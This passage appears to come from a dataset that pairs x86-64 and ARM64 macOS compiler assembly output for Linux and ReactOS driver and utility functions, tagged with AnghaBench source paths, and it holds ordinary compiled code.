Lloh17:
ldr x8, [x8, _USB_STOR_TRANSPORT_FAILED@GOTPAGEOFF]
b LBB0_16
LBB0_9:
add x0, x20, x23
Lloh18:
adrp x1, _datafab_handle_mode_sense.cache_page@PAGE
Lloh19:
add x1, x1, _datafab_handle_mode_sense.cache_page@PAGEOFF
b LBB0_11
LBB0_10:
add x0, x20, x23
Lloh20:
adrp x1, _datafab_handle_mode_sense.rbac_page@PAGE
Lloh21:
add x1, x1, _datafab_handle_mode_sense.rbac_page@PAGEOFF
LBB0_11:
mov w22, #12
mov w2, #12
b LBB0_13
LBB0_12:
add x0, x20, x23
Lloh22:
adrp x1, _datafab_handle_mode_sense.timer_page@PAGE
Lloh23:
add x1, x1, _datafab_handle_mode_sense.timer_page@PAGEOFF
mov w22, #8
mov w2, #8
LBB0_13:
bl _memcpy
add w22, w22, w23
cbz w21, LBB0_7
LBB0_14:
sub w8, w22, #1
strb w8, [x20]
LBB0_15:
mov x0, x20
mov x1, x22
mov x2, x19
bl _usb_stor_set_xfer_buf
Lloh24:
adrp x8, _USB_STOR_TRANSPORT_GOOD@GOTPAGE
Lloh25:
ldr x8, [x8, _USB_STOR_TRANSPORT_GOOD@GOTPAGEOFF]
LBB0_16:
ldr w0, [x8]
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpAdd Lloh0, Lloh1
.loh AdrpAdd Lloh2, Lloh3
.loh AdrpAdd Lloh4, Lloh5
.loh AdrpAdd Lloh12, Lloh13
.loh AdrpAdd Lloh10, Lloh11
.loh AdrpAdd Lloh8, Lloh9
.loh AdrpAdd Lloh6, Lloh7
.loh AdrpLdrGot Lloh16, Lloh17
.loh AdrpAdrp Lloh14, Lloh16
.loh AdrpLdr Lloh14, Lloh15
.loh AdrpAdd Lloh18, Lloh19
.loh AdrpAdd Lloh20, Lloh21
.loh AdrpAdd Lloh22, Lloh23
.loh AdrpLdrGot Lloh24, Lloh25
.cfi_endproc
.section __TEXT,__const
lJTI0_0:
.byte (LBB0_4-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_9-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_8-LBB0_4)>>2
.byte (LBB0_10-LBB0_4)>>2
.byte (LBB0_12-LBB0_4)>>2
; -- End function
.section __DATA,__data
_datafab_handle_mode_sense.rw_err_page: ; @datafab_handle_mode_sense.rw_err_page
.asciz "\001\n!\001\000\000\000\000\001\000\000"
_datafab_handle_mode_sense.cache_page: ; @datafab_handle_mode_sense.cache_page
.byte 8 ; 0x8
.byte 10 ; 0xa
.byte 1 ; 0x1
.space 9
_datafab_handle_mode_sense.rbac_page: ; @datafab_handle_mode_sense.rbac_page
.byte 27 ; 0x1b
.byte 10 ; 0xa
.byte 0 ; 0x0
.byte 129 ; 0x81
.space 8
_datafab_handle_mode_sense.timer_page: ; @datafab_handle_mode_sense.timer_page
.asciz "\034\006\000\000\000\000\000"
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "datafab_handle_mode_sense: Current values\n"
l_.str.1: ; @.str.1
.asciz "datafab_handle_mode_sense: Changeable values\n"
l_.str.2: ; @.str.2
.asciz "datafab_handle_mode_sense: Default values\n"
l_.str.3: ; @.str.3
.asciz "datafab_handle_mode_sense: Saves values\n"
.comm _USB_STOR_TRANSPORT_FAILED,4,2 ; @USB_STOR_TRANSPORT_FAILED
.comm _USB_STOR_TRANSPORT_GOOD,4,2 ; @USB_STOR_TRANSPORT_GOOD
.no_dead_strip _datafab_handle_mode_sense
.section __DATA,__const
.p2align 3 ; @switch.table.datafab_handle_mode_sense
l_switch.table.datafab_handle_mode_sense:
.quad l_.str
.quad l_.str.1
.quad l_.str.2
.quad l_.str.3
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/usb/storage/extr_datafab.c_datafab_handle_mode_sense.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bfad_fcxp_map_sg ## -- Begin function bfad_fcxp_map_sg
.p2align 4, 0x90
_bfad_fcxp_map_sg: ## @bfad_fcxp_map_sg
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rcx, -48(%rbp) ## 8-byte Spill
movl %edx, %r12d
movq %rsi, %r15
movq %rdi, %r13
movq _GFP_KERNEL@GOTPCREL(%rip), %r14
movl (%r14), %esi
movl $40, %edi
callq _kzalloc
testq %rax, %rax
je LBB0_4
## %bb.1:
movq %rax, %rbx
movl %r12d, (%rax)
movq (%r13), %rdi
movq %rax, %rdx
addq $8, %rdx
movl (%r14), %ecx
movl %r12d, %esi
callq _dma_alloc_coherent
movl %eax, 16(%rbx)
testl %eax, %eax
je LBB0_3
## %bb.2:
movl (%rbx), %edx
movl %eax, %edi
xorl %esi, %esi
callq _memset
movl (%rbx), %edx
movl 16(%rbx), %edi
movq %r15, %rsi
callq _memcpy
movl (%rbx), %eax
movl %eax, 96(%rbx)
movq 8(%rbx), %rax
movq %rax, 104(%rbx)
movq -48(%rbp), %rax ## 8-byte Reload
movl $1, (%rax)
jmp LBB0_5
LBB0_3:
movq %rbx, %rdi
callq _kfree
LBB0_4:
xorl %ebx, %ebx
LBB0_5:
movq %rbx, %rax
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
.cfi_endproc
## -- End function
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _bfad_fcxp_map_sg ; -- Begin function bfad_fcxp_map_sg
.p2align 2
_bfad_fcxp_map_sg: ; @bfad_fcxp_map_sg
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 64
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
mov x19, x3
mov x22, x2
mov x21, x1
mov x23, x0
Lloh0:
adrp x24, _GFP_KERNEL@GOTPAGE
Lloh1:
ldr x24, [x24, _GFP_KERNEL@GOTPAGEOFF]
ldr w1, [x24]
mov w0, #40
bl _kzalloc
mov x20, x0
cbz x0, LBB0_4
; %bb.1:
str w22, [x20]
ldr x0, [x23]
add x2, x20, #8
ldr w3, [x24]
mov x1, x22
bl _dma_alloc_coherent
str w0, [x20, #16]
cbz w0, LBB0_3
; %bb.2:
ldr w2, [x20]
mov w1, #0
bl _memset
ldr w0, [x20, #16]
ldr w2, [x20]
mov x1, x21
bl _memcpy
ldr w8, [x20]
str w8, [x20, #96]
ldr x8, [x20, #8]
str x8, [x20, #104]
mov w8, #1
str w8, [x19]
b LBB0_4
LBB0_3:
mov x0, x20
bl _kfree
mov x20, #0
LBB0_4:
mov x0, x20
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
ret
.loh AdrpLdrGot Lloh0, Lloh1
.cfi_endproc
; -- End function
.comm _GFP_KERNEL,4,2 ; @GFP_KERNEL
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/scsi/bfa/extr_bfad_bsg.c_bfad_fcxp_map_sg.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function host1x_opcode_incr
_host1x_opcode_incr: ## @host1x_opcode_incr
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movl %edi, %eax
shll $16, %eax
orl %esi, %eax
orl $268435456, %eax ## imm = 0x10000000
popq %rbp
retq
.cfi_endproc
## -- End function
.no_dead_strip _host1x_opcode_incr
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function host1x_opcode_incr
_host1x_opcode_incr: ; @host1x_opcode_incr
.cfi_startproc
; %bb.0:
orr w8, w1, w0, lsl #16
orr w0, w8, #0x10000000
ret
.cfi_endproc
; -- End function
.no_dead_strip _host1x_opcode_incr
.subsections_via_symbols
| AnghaBench/linux/drivers/gpu/host1x/hw/extr_host1x02_hardware.h_host1x_opcode_incr.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function pcmcia_copy_from
_pcmcia_copy_from: ## @pcmcia_copy_from
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r12
pushq %rbx
.cfi_offset %rbx, -48
.cfi_offset %r12, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %ecx, %r14d
movq %rdx, %r15
movq %rsi, %r12
movslq (%rdi), %rbx
callq _DEV_REMOVED
testq %rax, %rax
je LBB0_2
## %bb.1:
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
retq
LBB0_2:
leaq L_.str(%rip), %rsi
movl $3, %edi
movq %r12, %rdx
movq %r15, %rcx
movl %r14d, %r8d
callq _DEBUG
addq %r15, %rbx
movq %r12, %rdi
movq %rbx, %rsi
movl %r14d, %edx
popq %rbx
popq %r12
popq %r14
popq %r15
popq %rbp
jmp _memcpy_fromio ## TAILCALL
.cfi_endproc
## -- End function
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "to = %p from = %lu len = %u"
.no_dead_strip _pcmcia_copy_from
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function pcmcia_copy_from
_pcmcia_copy_from: ; @pcmcia_copy_from
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x3
mov x21, x2
mov x20, x1
ldrsw x22, [x0]
bl _DEV_REMOVED
cbz x0, LBB0_2
; %bb.1:
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
ret
LBB0_2:
Lloh0:
adrp x1, l_.str@PAGE
Lloh1:
add x1, x1, l_.str@PAGEOFF
mov w0, #3
mov x2, x20
mov x3, x21
mov x4, x19
bl _DEBUG
add x1, x22, x21
mov x0, x20
mov x2, x19
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _memcpy_fromio
.loh AdrpAdd Lloh0, Lloh1
.cfi_endproc
; -- End function
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "to = %p from = %lu len = %u"
.no_dead_strip _pcmcia_copy_from
.subsections_via_symbols
| AnghaBench/fastsocket/kernel/drivers/mtd/maps/extr_pcmciamtd.c_pcmcia_copy_from.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function rwl
_rwl: ## @rwl
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %rbx
pushq %rax
.cfi_offset %rbx, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movl %edx, %r14d
movl %esi, %ebx
movq %rdi, %r15
callq _readl
notl %ebx
andl %eax, %ebx
orl %r14d, %ebx
movl %ebx, %edi
movq %r15, %rsi
addq $8, %rsp
popq %rbx
popq %r14
popq %r15
popq %rbp
jmp _writel ## TAILCALL
.cfi_endproc
## -- End function
.no_dead_strip _rwl
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 2 ; -- Begin function rwl
_rwl: ; @rwl
.cfi_startproc
; %bb.0:
stp x22, x21, [sp, #-48]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 48
stp x20, x19, [sp, #16] ; 16-byte Folded Spill
stp x29, x30, [sp, #32] ; 16-byte Folded Spill
add x29, sp, #32
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
mov x19, x2
mov x20, x1
mov x21, x0
bl _readl
bic w8, w0, w20
orr w0, w8, w19
mov x1, x21
ldp x29, x30, [sp, #32] ; 16-byte Folded Reload
ldp x20, x19, [sp, #16] ; 16-byte Folded Reload
ldp x22, x21, [sp], #48 ; 16-byte Folded Reload
b _writel
.cfi_endproc
; -- End function
.no_dead_strip _rwl
.subsections_via_symbols
| AnghaBench/lede/target/linux/samsung/files-4.14/drivers/mtd/nand/extr_s5pxx_nand.c_rwl.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 4, 0x90 ## -- Begin function intel_th_msc_wait_empty
_intel_th_msc_wait_empty: ## @intel_th_msc_wait_empty
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
pushq %rax
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
callq _dev_get_drvdata
movq %rax, %rbx
movq _MSC_PLE_WAITLOOP_DEPTH@GOTPCREL(%rip), %rax
movq (%rax), %r15
movq _MSCSTS_PLE@GOTPCREL(%rip), %r12
movq _REG_MSU_MSC0STS@GOTPCREL(%rip), %r13
xorl %r14d, %r14d
jmp LBB0_1
.p2align 4, 0x90
LBB0_3: ## in Loop: Header=BB0_1 Depth=1
movq (%rbx), %rdi
subq (%r13), %rdi
callq ___raw_readl
movl %eax, %r14d
xorl %eax, %eax
callq _cpu_relax
LBB0_1: ## =>This Inner Loop Header: Depth=1
subq $1, %r15
jae LBB0_3
## %bb.2: ## in Loop: Header=BB0_1 Depth=1
testl %r14d, (%r12)
je LBB0_3
## %bb.4:
movq %rbx, %rdi
callq _msc_dev
leaq L_.str(%rip), %rsi
movl %eax, %edi
addq $8, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
jmp _dev_dbg ## TAILCALL
.cfi_endproc
## -- End function
.comm _MSC_PLE_WAITLOOP_DEPTH,8,3 ## @MSC_PLE_WAITLOOP_DEPTH
.comm _MSCSTS_PLE,4,2 ## @MSCSTS_PLE
.comm _REG_MSU_MSC0STS,8,3 ## @REG_MSU_MSC0STS
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "timeout waiting for MSC0 PLE\n"
.no_dead_strip _intel_th_msc_wait_empty
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 15, 0 sdk_version 15, 5
.p2align 2 ; -- Begin function intel_th_msc_wait_empty
_intel_th_msc_wait_empty: ; @intel_th_msc_wait_empty
.cfi_startproc
; %bb.0:
stp x24, x23, [sp, #-64]! ; 16-byte Folded Spill
stp x22, x21, [sp, #16] ; 16-byte Folded Spill
stp x20, x19, [sp, #32] ; 16-byte Folded Spill
stp x29, x30, [sp, #48] ; 16-byte Folded Spill
add x29, sp, #48
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
.cfi_offset w19, -24
.cfi_offset w20, -32
.cfi_offset w21, -40
.cfi_offset w22, -48
.cfi_offset w23, -56
.cfi_offset w24, -64
bl _dev_get_drvdata
mov x19, x0
mov w20, #0 ; =0x0
Lloh0:
adrp x8, _MSC_PLE_WAITLOOP_DEPTH@GOTPAGE
Lloh1:
ldr x8, [x8, _MSC_PLE_WAITLOOP_DEPTH@GOTPAGEOFF]
Lloh2:
ldr x21, [x8]
Lloh3:
adrp x22, _MSCSTS_PLE@GOTPAGE
Lloh4:
ldr x22, [x22, _MSCSTS_PLE@GOTPAGEOFF]
Lloh5:
adrp x23, _REG_MSU_MSC0STS@GOTPAGE
Lloh6:
ldr x23, [x23, _REG_MSU_MSC0STS@GOTPAGEOFF]
b LBB0_2
LBB0_1: ; in Loop: Header=BB0_2 Depth=1
ldr x8, [x19]
ldr x9, [x23]
sub x0, x8, x9
bl ___raw_readl
mov x20, x0
bl _cpu_relax
sub x21, x21, #1
LBB0_2: ; =>This Inner Loop Header: Depth=1
cbnz x21, LBB0_1
; %bb.3: ; in Loop: Header=BB0_2 Depth=1
ldr w8, [x22]
tst w8, w20
b.eq LBB0_1
; %bb.4:
mov x0, x19
bl _msc_dev
Lloh7:
adrp x1, l_.str@PAGE
Lloh8:
add x1, x1, l_.str@PAGEOFF
ldp x29, x30, [sp, #48] ; 16-byte Folded Reload
ldp x20, x19, [sp, #32] ; 16-byte Folded Reload
ldp x22, x21, [sp, #16] ; 16-byte Folded Reload
ldp x24, x23, [sp], #64 ; 16-byte Folded Reload
b _dev_dbg
.loh AdrpLdrGot Lloh5, Lloh6
.loh AdrpLdrGot Lloh3, Lloh4
.loh AdrpLdrGotLdr Lloh0, Lloh1, Lloh2
.loh AdrpAdd Lloh7, Lloh8
.cfi_endproc
; -- End function
.comm _MSC_PLE_WAITLOOP_DEPTH,8,3 ; @MSC_PLE_WAITLOOP_DEPTH
.comm _MSCSTS_PLE,4,2 ; @MSCSTS_PLE
.comm _REG_MSU_MSC0STS,8,3 ; @REG_MSU_MSC0STS
.section __TEXT,__cstring,cstring_literals
l_.str: ; @.str
.asciz "timeout waiting for MSC0 PLE\n"
.no_dead_strip _intel_th_msc_wait_empty
.subsections_via_symbols
| assembly_file_84355.c | assembly_dataset |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _wmain ## -- Begin function wmain
.p2align 4, 0x90
_wmain: ## @wmain
.cfi_startproc
## %bb.0:
movl $1, %eax
cmpl $3, %edi
jne LBB0_2
## %bb.1:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
movq 8(%rsi), %rdi
movq 16(%rsi), %rsi
callq _BestFit_FromNLS
movl %eax, %ecx
xorl %eax, %eax
testl %ecx, %ecx
sete %al
popq %rbp
LBB0_2:
retq
.cfi_endproc
## -- End function
.subsections_via_symbols
| .section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.globl _wmain ; -- Begin function wmain
.p2align 2
_wmain: ; @wmain
.cfi_startproc
; %bb.0:
cmp w0, #3
b.ne LBB0_2
; %bb.1:
stp x29, x30, [sp, #-16]! ; 16-byte Folded Spill
.cfi_def_cfa_offset 16
mov x29, sp
.cfi_def_cfa w29, 16
.cfi_offset w30, -8
.cfi_offset w29, -16
ldp x0, x1, [x1, #8]
bl _BestFit_FromNLS
cmp w0, #0
cset w0, eq
ldp x29, x30, [sp], #16 ; 16-byte Folded Reload
ret
LBB0_2:
.cfi_def_cfa wsp, 0
.cfi_same_value w30
.cfi_same_value w29
mov w0, #1
ret
.cfi_endproc
; -- End function
.subsections_via_symbols
| AnghaBench/reactos/modules/rosapps/applications/devutils/nls2txt/extr_main.c_wmain.c | anghabench |
.section __TEXT,__text,regular,pure_instructions
.build_version macos, 13, 0 sdk_version 13, 3
.p2align 4, 0x90 ## -- Begin function lpfc_sli4_bsg_link_diag_test
_lpfc_sli4_bsg_link_diag_test: ## @lpfc_sli4_bsg_link_diag_test
.cfi_startproc
## %bb.0:
pushq %rbp
.cfi_def_cfa_offset 16
.cfi_offset %rbp, -16
movq %rsp, %rbp
.cfi_def_cfa_register %rbp
pushq %r15
pushq %r14
pushq %r13
pushq %r12
pushq %rbx
subq $24, %rsp
.cfi_offset %rbx, -56
.cfi_offset %r12, -48
.cfi_offset %r13, -40
.cfi_offset %r14, -32
.cfi_offset %r15, -24
movq %rdi, %r12
movq 32(%rdi), %rax
testq %rax, %rax
je LBB0_8
## %bb.1:
movq (%rax), %rax
testq %rax, %rax
je LBB0_8
## %bb.2:
movq (%rax), %r14
testq %r14, %r14
je LBB0_8
## %bb.3:
movq (%r14), %rax
movq _LPFC_SLI_REV4@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jl LBB0_8
## %bb.4:
movq _lpfc_sli_intf_if_type@GOTPCREL(%rip), %rax
movl (%rax), %edi
leaq 20(%r14), %rsi
callq _bf_get
movq _LPFC_SLI_INTF_IF_TYPE_2@GOTPCREL(%rip), %rcx
cmpq (%rcx), %rax
jne LBB0_8
## %bb.5:
movl (%r12), %r8d
cmpl $23, %r8d
ja LBB0_13
## %bb.6:
movq _KERN_WARNING@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _LOG_LIBDFC@GOTPCREL(%rip), %rax
movl (%rax), %edx
leaq L_.str(%rip), %rcx
xorl %ebx, %ebx
movq %r14, %rdi
movl $24, %r9d
LBB0_7:
xorl %eax, %eax
callq _lpfc_printf_log
movq _EINVAL@GOTPCREL(%rip), %rax
jmp LBB0_9
LBB0_8:
movq _ENODEV@GOTPCREL(%rip), %rax
xorl %ebx, %ebx
LBB0_9:
subl (%rax), %ebx
LBB0_10:
movq 16(%r12), %rax
movl %ebx, (%rax)
testl %ebx, %ebx
jne LBB0_12
## %bb.11:
movq %r12, %rdi
callq *8(%r12)
xorl %ebx, %ebx
LBB0_12:
movl %ebx, %eax
addq $24, %rsp
popq %rbx
popq %r12
popq %r13
popq %r14
popq %r15
popq %rbp
retq
LBB0_13:
movq %r14, %rdi
callq _lpfc_bsg_diag_mode_enter
movl %eax, %ebx
testl %eax, %eax
jne LBB0_15
## %bb.14:
movq 24(%r12), %rax
movq (%rax), %r13
movq %r14, %rdi
movl $1, %esi
callq _lpfc_sli4_bsg_set_link_diag_state
movl %eax, %ebx
testl %eax, %eax
je LBB0_16
LBB0_15:
movq 16(%r12), %rax
movl %ebx, (%rax)
jmp LBB0_12
LBB0_16:
movl 8(%r14), %edi
movq _GFP_KERNEL@GOTPCREL(%rip), %rax
movl (%rax), %esi
callq _mempool_alloc
testq %rax, %rax
je LBB0_24
## %bb.17:
movq %rax, %r15
movq _LPFC_MBOX_SUBSYSTEM_FCOE@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq _LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE@GOTPCREL(%rip), %rax
movl (%rax), %ecx
movq _LPFC_SLI4_MBX_EMBED@GOTPCREL(%rip), %rax
movl (%rax), %r9d
movq %r14, %rdi
movq %r15, %rsi
xorl %r8d, %r8d
callq _lpfc_sli4_config
testq %rax, %rax
jne LBB0_26
## %bb.18:
movq _lpfc_mbx_run_diag_test_link_num@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq %r15, %rbx
addq $4, %rbx
movl 16(%r14), %edx
movq %rbx, %rsi
callq _bf_set
movq _lpfc_mbx_run_diag_test_link_type@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl 12(%r14), %edx
movq %rbx, %rsi
callq _bf_set
movq _lpfc_mbx_run_diag_test_test_id@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl 16(%r13), %edx
movq %rbx, %rsi
callq _bf_set
movq _lpfc_mbx_run_diag_test_loops@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl 12(%r13), %edx
movq %rbx, %rsi
callq _bf_set
movq _lpfc_mbx_run_diag_test_test_ver@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl 8(%r13), %edx
movq %rbx, %rsi
callq _bf_set
movq _lpfc_mbx_run_diag_test_err_act@GOTPCREL(%rip), %rax
movl (%rax), %edi
movl 4(%r13), %edx
movq %rbx, %rsi
callq _bf_set
movq _MBX_POLL@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %r14, %rdi
movq %r15, %rsi
callq _lpfc_sli_issue_mbox
movl %eax, -44(%rbp) ## 4-byte Spill
movq _lpfc_mbox_hdr_status@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq %r15, %rsi
callq _bf_get
movq %rax, %rbx
movq _lpfc_mbox_hdr_add_status@GOTPCREL(%rip), %rax
movl (%rax), %edi
movq %r15, %rsi
callq _bf_get
movq %rax, %r13
testq %rbx, %rbx
jne LBB0_21
## %bb.19:
testq %r13, %r13
jne LBB0_21
## %bb.20:
cmpl $0, -44(%rbp) ## 4-byte Folded Reload
je LBB0_22
LBB0_21:
movq _KERN_ERR@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _LOG_LIBDFC@GOTPCREL(%rip), %rax
movl (%rax), %edx
movq %r13, (%rsp)
leaq L_.str.1(%rip), %rcx
movq %r14, %rdi
movl -44(%rbp), %r8d ## 4-byte Reload
movl %ebx, %r9d
xorl %eax, %eax
callq _lpfc_printf_log
LBB0_22:
movl 4(%r12), %r9d
cmpl $27, %r9d
ja LBB0_25
## %bb.23:
movq _KERN_WARNING@GOTPCREL(%rip), %rax
movl (%rax), %esi
movq _LOG_LIBDFC@GOTPCREL(%rip), %rax
movl (%rax), %edx
leaq L_.str.2(%rip), %rcx
xorl %ebx, %ebx
movq %r14, %rdi
movl $28, %r8d
jmp LBB0_7
LBB0_24:
movq %r14, %rdi
xorl %esi, %esi
callq _lpfc_sli4_bsg_set_link_diag_state
movl %eax, %ebx
jmp LBB0_27
LBB0_25:
movq 16(%r12), %rax
movq 8(%rax), %rax
movl -44(%rbp), %ecx ## 4-byte Reload
movl %ecx, (%rax)
movq %rbx, 16(%rax)
movq %r13, 8(%rax)
LBB0_26:
movq %r14, %rdi
xorl %esi, %esi
callq _lpfc_sli4_bsg_set_link_diag_state
movl %eax, %ebx
movl 8(%r14), %esi
movq %r15, %rdi
callq _mempool_free
LBB0_27:
movq %r14, %rdi
callq _lpfc_bsg_diag_mode_exit
jmp LBB0_10
.cfi_endproc
## -- End function
.comm _ENODEV,4,2 ## @ENODEV
.comm _LPFC_SLI_REV4,8,3 ## @LPFC_SLI_REV4
.comm _lpfc_sli_intf_if_type,4,2 ## @lpfc_sli_intf_if_type
.comm _LPFC_SLI_INTF_IF_TYPE_2,8,3 ## @LPFC_SLI_INTF_IF_TYPE_2
.comm _KERN_WARNING,4,2 ## @KERN_WARNING
.comm _LOG_LIBDFC,4,2 ## @LOG_LIBDFC
.section __TEXT,__cstring,cstring_literals
L_.str: ## @.str
.asciz "3013 Received LINK DIAG TEST request size:%d below the minimum size:%d\n"
.comm _EINVAL,4,2 ## @EINVAL
.comm _GFP_KERNEL,4,2 ## @GFP_KERNEL
.comm _ENOMEM,4,2 ## @ENOMEM
.comm _LPFC_MBOX_SUBSYSTEM_FCOE,4,2 ## @LPFC_MBOX_SUBSYSTEM_FCOE
.comm _LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE,4,2 ## @LPFC_MBOX_OPCODE_FCOE_LINK_DIAG_STATE
.comm _LPFC_SLI4_MBX_EMBED,4,2 ## @LPFC_SLI4_MBX_EMBED
.comm _lpfc_mbx_run_diag_test_link_num,4,2 ## @lpfc_mbx_run_diag_test_link_num
.comm _lpfc_mbx_run_diag_test_link_type,4,2 ## @lpfc_mbx_run_diag_test_link_type
.comm _lpfc_mbx_run_diag_test_test_id,4,2 ## @lpfc_mbx_run_diag_test_test_id
